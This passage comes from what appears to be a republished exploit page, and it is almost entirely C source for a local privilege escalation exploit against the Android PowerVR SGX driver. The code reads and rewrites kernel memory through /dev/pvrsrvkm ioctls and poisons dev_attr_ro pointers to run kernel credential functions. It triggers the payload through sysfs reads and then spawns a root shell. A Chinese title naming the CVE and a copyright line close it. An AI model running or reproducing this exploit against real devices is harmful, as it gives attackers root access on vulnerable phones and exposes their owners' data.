while (ret != EOF) {
         ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
         if (ret == 0) {
             fscanf(f, "%s\n", sname);
             continue;
         }
         if (!strcmp(name, sname)) {
             printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
             return addr;
         }
     }
 
    return 0;
 }
 
int
 do_ioctl(int fd, void *in, unsigned int in_size, void *out, unsigned int out_size)
 {
     PVRSRV_BRIDGE_PACKAGE pkg;
 
    memset(&pkg, 0, sizeof(pkg));
 
    pkg.ui32BridgeID = CONNECT_SERVICES;
     pkg.ui32Size = sizeof(pkg);
     pkg.ui32InBufferSize = in_size;
     pkg.pvParamIn = in;
     pkg.ui32OutBufferSize = out_size;
     pkg.pvParamOut = out;
 
    return ioctl(fd, 0, &pkg);
 }
 
int
 main(int argc, char **argv)
 {
     DIR *dir;
     struct dirent *dentry;
     int fd, ret, found, trigger;
     char *dump, *dump_end, buf[8], path[256];
     unsigned long dev_attr_ro, *ptr;
 
    printf("[+] looking for symbols...\n");
 
    commit_creds = (_commit_creds) get_symbol("commit_creds");
     if (!commit_creds) {
         printf("[-] commit_creds symbol not found, aborting!\n");
         exit(1);
     }
 
    prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
     if (!prepare_kernel_cred) {
         printf("[-] prepare_kernel_cred symbol not found, aborting!\n");
         exit(1);
     }
 
    dev_attr_ro = get_symbol("dev_attr_ro");
     if (!dev_attr_ro) {
         printf("[-] dev_attr_ro symbol not found, aborting!\n");
         exit(1);
     }
 
    printf("[+] opening prvsrvkm device...\n");
 
    fd = open("/dev/pvrsrvkm", O_RDWR);
     if (fd == -1) {
         printf("[-] failed opening pvrsrvkm device, aborting!\n");
         exit(1);
     }
 
    printf("[+] dumping kernel memory...\n");
 
    dump = malloc(DUMP_SIZE + 0x1000);
     dump_end = dump + DUMP_SIZE + 0x1000;
     memset(dump, 0, DUMP_SIZE + 0x1000);
 
    ret = do_ioctl(fd, NULL, 0, dump + 0x1000, DUMP_SIZE - 0x1000);
     if (ret == -1) {
         printf("[-] failed during ioctl, aborting!\n");
         exit(1);
     }
 
    printf("[+] searching kmem for dev_attr_ro pointers...\n");
 
    found = 0;
     for (ptr = (unsigned long *) dump; ptr < (unsigned long *) dump_end; ++ptr) {
         if (*ptr == dev_attr_ro) {
             *ptr = (unsigned long) &fake_dev_attr_ro;
             found++;
         }
     }
 
    printf("[+] poisoned %d dev_attr_ro pointers with fake_dev_attr_ro!\n", found);
 
    if (found == 0) {
         printf("[-] could not find any dev_attr_ro ptrs, aborting!\n");
         exit(1);
     }
 
    printf("[+] clobbering kmem with poisoned pointers...\n");
 
    ret = do_ioctl(fd, dump, DUMP_SIZE, NULL, 0);
     if (ret == -1) {
         printf("[-] failed during ioctl, aborting!\n");
         exit(1);
     }
 
    printf("[+] triggering privesc via block ro sysfs attribute...\n");
 
    dir = opendir("/sys/block");
     if (!dir) {
         printf("[-] failed opening /sys/block, aborting!\n");
         exit(1);
     }
 
    found = 0;
     while ((dentry = readdir(dir)) != NULL) {
         if (strcmp(dentry->d_name, ".") == 0 || strcmp(dentry->d_name, "..") == 0) {
             continue;
         }
 
        snprintf(path, sizeof(path), "/sys/block/%s/ro", dentry->d_name);
 
        trigger = open(path, O_RDONLY);
         if (trigger == -1) {
             printf("[-] failed opening ro sysfs attribute, aborting!\n");
             exit(1);
         }
 
        memset(buf, 0, sizeof(buf));
         ret = read(trigger, buf, sizeof(buf));
         close(trigger);
 
        if (strcmp(buf, "0wned\n") == 0) {
             found = 1;
             break;
         }
     }
 
    if (found == 0) {
         printf("[-] could not trigger privesc payload, aborting!\n");
         exit(1);
     }
 
    printf("[+] restoring original dev_attr_ro pointers...\n");
 
    ret = do_ioctl(fd, NULL, 0, dump + 0x1000, DUMP_SIZE - 0x1000);
     if (ret == -1) {
         printf("[-] failed during ioctl, aborting!\n");
         exit(1);
     }
 
    found = 0;
     for (ptr = (unsigned long *) dump; ptr < (unsigned long *) dump_end; ++ptr) {
         if (*ptr == (unsigned long) &fake_dev_attr_ro) {
             *ptr = (unsigned long) dev_attr_ro;
             found++;
         }
     }
 
    printf("[+] restored %d dev_attr_ro pointers!\n", found);
 
    if (found == 0) {
         printf("[-] could not restore any pointers, aborting!\n");
         exit(1);
     }
 
    ret = do_ioctl(fd, dump, DUMP_SIZE, NULL, 0);
     if (ret == -1) {
         printf("[-] failed during ioctl, aborting!\n");
         exit(1);
     }
 
    if (getuid() != 0) {
         printf("[-] privileges not escalated, exploit failed!\n");
         exit(1);
     }
 
    printf("[+] privileges escalated, enjoy your shell!\n");
 
    execl("/system/bin/sh", "sh", NULL);
 
    return 0;
 }
Android PowerVR SGX Driver本地权限提升漏洞(CVE(2)
内容版权声明:除非注明,否则皆为本站原创文章。
